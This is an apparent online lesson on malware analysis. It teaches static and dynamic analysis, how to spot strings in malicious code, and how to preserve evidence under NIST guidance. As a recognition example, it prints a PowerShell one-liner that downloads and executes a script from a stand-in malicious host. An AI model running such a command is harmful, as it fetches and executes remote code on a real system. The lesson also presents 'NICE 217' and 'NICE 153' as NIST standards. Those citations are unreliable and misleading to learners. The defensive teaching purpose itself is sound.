MAL - Malware Analysis and Ethical Hacking Lesson

Malware Analysis and Ethical Hacking

Techniques for Analyzing Malware Code

Java Script Code RansomewareAnalyzing malware code is a pivotal skill in the realm of cybersecurity. This process involves dissecting malicious software to unravel its functionality and purpose. Analysts utilize diverse techniques, such as static and dynamic analysis. Static analysis entails scrutinizing the code without executing it, examining file headers, checking for suspicious API calls, and analyzing code structure. On the other hand, dynamic analysis involves running the malware in a controlled environment to observe its behavior, and identifying actions like file modifications, network communications, or attempts to evade detection.

 

Identifying Strings within Malware Code

Strings within malware code are sequences of characters used for communication, encryption, or command and control. Detecting these strings can unveil valuable insights into the malware's intent. For instance, command and control (C2) strings might contain URLs or IP addresses that the malware connects to for further instructions, while encryption keys are crucial strings used in encryption algorithms, shedding light on how the malware conceals its activities.

Strings within malware code are sequences of characters used for various purposes, such as communication, encryption, or command and control. Understanding and identifying these strings is crucial in malware analysis, as they often reveal insights into the malware's functionality and intent.

In programming, a string is a series of characters, which can be letters, numbers, symbols, or a combination thereof. In the context of malware, strings serve as a means of communication between different components of the malicious code or between the malware and external entities.

 

Look at the examples and scenarios of strings below so you can be familiar with identifying strings in malware:

Command and Control (C2) Strings

  • Definition: Strings used by malware to communicate with a command and control server.
  • Example: A malware might have a C2 string containing a URL or IP address that it connects to for receiving instructions.
  • Scenario: Imagine a ransomware that uses a C2 string to fetch an encryption key from a remote server, enabling it to encrypt files on the infected system.

Encryption Keys

  • Definition: Strings used in encryption algorithms to conceal the activities of the malware.
  • Example: A string representing an encryption key in a ransomware variant.
  • Scenario: A piece of malware uses an encryption key to encrypt and protect its communication or to obfuscate the payload to evade detection.

Decoy Strings

  • Definition: Strings added to malware code to mislead analysts or automated security tools.
  • Example: Random or nonsensical strings that serve no actual purpose in the malware's functionality.
  • Scenario: Malware creators may include decoy strings to make reverse engineering more challenging or to trigger false positives in antivirus scans.

File and Registry Paths

  • Definition: Strings representing file paths or registry entries that the malware interacts with.
  • Example: A string indicating the location of a file or registry key manipulated by the malware.
  • Scenario: A Trojan horse might use specific file paths to locate and replace critical system files.

 

Analysis Techniques

  • Static Analysis: Examining the strings within the malware code without executing it. Tools like strings or disassemblers help extract and analyze strings present in the binary.
  • Dynamic Analysis: Monitoring the behavior of the malware during execution to identify runtime-generated strings. Tools like dynamic malware analysis sandboxes capture the strings produced when the malware runs in a controlled environment.

Understanding strings in malware code provides valuable insights into the workings and objectives of malicious software. Analysts leverage this knowledge to enhance detection capabilities, devise effective mitigation strategies, and contribute to the ongoing efforts to combat cyber threats.

Malicious code often hides in plain sight within files, scripts, and network traffic. Our goal is to equip you with the knowledge to recognize and extract these malicious strings effectively.

 

Understanding Malicious Code Strings

Encoded and Obfuscated Strings: Malicious actors often encode or obfuscate strings to evade detection. Examples include base64 encoding, XOR obfuscation, or simple character substitutions.

Example: Base64 Encoding

Example: Base64 Encoding

 


IP Addresses and URLs: Malware commonly communicates with command and control servers using specific IP addresses or URLs. Identifying these in code snippets can reveal malicious intent.

Example: Malicious IP Address

malicious_server_ip = "192.168.1.100"


 

Shell Commands and Scripts: Malicious scripts or code often contain commands designed to compromise systems. Recognizing these commands is essential for identifying potential threats.

Example: Suspicious PowerShell Script

Powershell

Invoke-Expression "iex(New-Object Net.WebClient).DownloadString('http://malicious-site.com/script.ps1')"

 


Cryptic Strings and Markers: Malicious code may use cryptic strings or markers as indicators for specific actions. Identifying patterns or unusual strings is key to spotting potential threats.

Example: Cryptic String

cryptic_string = "x0ZG9tY3JlZ"


Why do we need to extract strings? The purpose of extracting strings is the following:

     Understanding Code Functionality     
        

Extracting strings helps analysts understand the functionality of the code. Strings often contain human-readable information about variable names, API endpoints, keys, and other elements that provide context to the code's purpose.

    
     Identifying Indicators of Compromise (IoCs)     
        

Strings can serve as Indicators of Compromise (IoCs). Certain patterns or specific strings may be associated with known malware, attack techniques, or malicious behavior. Identifying these IoCs is crucial for detecting and preventing potential threats.

    
     Detecting Command and Control (C2) Servers     
        

Malicious code often communicates with command and control servers for further instructions. Extracting strings can reveal URLs or IP addresses used for communication, aiding in the detection of C2 servers.

    
     Revealing Encryption Keys     
        

Encryption keys used in malware can be critical for understanding how the malicious code conceals its activities. Extracting these keys may provide insights into the encryption algorithms used and potentially aid in decrypting malicious payloads.

    
     Enhancing Signature-based Detection     
        

Extracted strings contribute to signature-based detection mechanisms. Security tools can use patterns derived from known malicious strings to identify and block similar threats in the future.

    
     Improving Threat Intelligence     
        

Extracted strings contribute to threat intelligence by providing analysts with valuable information about emerging threats, attack techniques, and the infrastructure used by malicious actors.

    
     Assisting in Incident Response     
        

During incident response, extracting strings helps responders understand the nature of the incident, enabling them to take appropriate actions to mitigate the threat, recover affected systems, and prevent future incidents.

    

 

 

Best Practices for Handling Malware

Effectively handling malware demands a cautious approach to prevent further damage and gather evidence for analysis. Best practices include employing isolated environments, utilizing proper forensics tools, and meticulously documenting every step. Isolation is achieved by running malware in a virtual environment to contain its effects and prevent its spread. Documentation involves maintaining a detailed log of actions taken during analysis, ensuring a thorough chain of custody for legal purposes.

 

Significance of Evidence Integrity in Malware Investigations:

Ensuring evidence integrity is crucial in malware investigations to maintain the reliability and admissibility of findings in legal proceedings. Any alteration or compromise of evidence can undermine the investigation. An example includes documenting the hash values of original files to verify their integrity throughout the investigation.

 

National Standards (NICE 217) for Evidence Preservation:

The National Institute of Standards and Technology (NIST) provides standards, such as NICE 217, guiding the preservation of evidence in cybersecurity investigations. Adhering to these standards ensures a systematic and reliable approach to handling evidence. This involves following a standardized process for acquiring and preserving digital evidence, including maintaining a secure chain of custody.

 

Understanding NIST Guidelines (NICE 153):

NIST Framework Recover Identify Respond Detect ProtectNIST guidelines, like NICE 153, provide a framework for categorizing and managing information security functions. A comprehensive understanding of these guidelines is crucial for effective cybersecurity practices. For example, NICE 153 outlines roles and responsibilities, aiding organizations in establishing clear lines of authority in their cybersecurity efforts.

 

Applying NIST Guidelines in Malware Investigations:

When investigating malware, applying NIST guidelines ensures a structured and efficient process. This involves categorizing the incident, selecting appropriate security controls, and implementing a thorough incident response plan. An example is using the NIST Cybersecurity Framework to identify, protect, detect, respond, and recover from a malware incident.

In the realm of cybersecurity, employing established frameworks is essential for comprehensive risk management. Leveraging the National Institute of Standards and Technology (NIST) Cybersecurity Framework to address various stages of a malware incident is one approach. The framework follows a holistic five-step process: Identify, Protect, Detect, Respond, and Recover. In the identification phase, organizations define and understand their cybersecurity posture, including potential vulnerabilities. The Protect stage involves implementing safeguards to mitigate risks and secure systems. Detection mechanisms are then employed to promptly identify the presence of malware. In the Respond phase, organizations formulate and execute strategies to contain and eradicate the threat. Finally, the Recover stage focuses on restoring affected systems and enhancing cybersecurity measures. The NIST Cybersecurity Framework thus provides a structured and adaptable approach to navigate the intricate landscape of malware incidents, ensuring a resilient and proactive cybersecurity posture.

You can view the updated NIST Guidelines by visiting the nist.gov website.

 

Review

Review what you've learned in the activities below.

 

 

Reflection & Wrap-up

Reflection & Wrapup iconIn this module, you gained comprehensive insights into the intricate world of malware analysis and cybersecurity investigations. Essential techniques for dissecting malicious code, and distinguishing between static and dynamic analysis to unveil the functionality and purpose of malware were outlined. The identification of strings within malware code was explored, showcasing their significance in understanding communication, encryption, and command and control mechanisms.

Best practices for handling malware were emphasized, including the use of isolated environments, proper forensics tools, and meticulous documentation to ensure a secure and effective investigative process. The significance of evidence integrity in malware investigations was highlighted, with an understanding that maintaining the reliability and admissibility of findings is paramount.

You engaged in simulated malware incident response exercises to gain practical experience in responding to cybersecurity incidents, such as simulated ransomware attacks. The importance of adhering to national standards, such as NICE 217, for evidence preservation was stressed, emphasizing a systematic and reliable approach to handling digital evidence.

The module also covered the understanding of NIST guidelines, specifically NICE 153, providing a framework for categorizing and managing information security functions. Lastly, you learned how to apply NIST guidelines in malware investigations, ensuring a structured approach involving incident categorization, selection of security controls, and the implementation of a comprehensive incident response plan. Overall, you are now equipped with a well-rounded skill set in malware analysis, incident response, and cybersecurity investigations.

 

[CC BY-NC-SA 4.0 Links to an external site.] UNLESS OTHERWISE NOTED | IMAGES: LICENSED AND USED ACCORDING TO TERMS OF SUBSCRIPTION - INTENDED ONLY FOR USE WITHIN LESSON.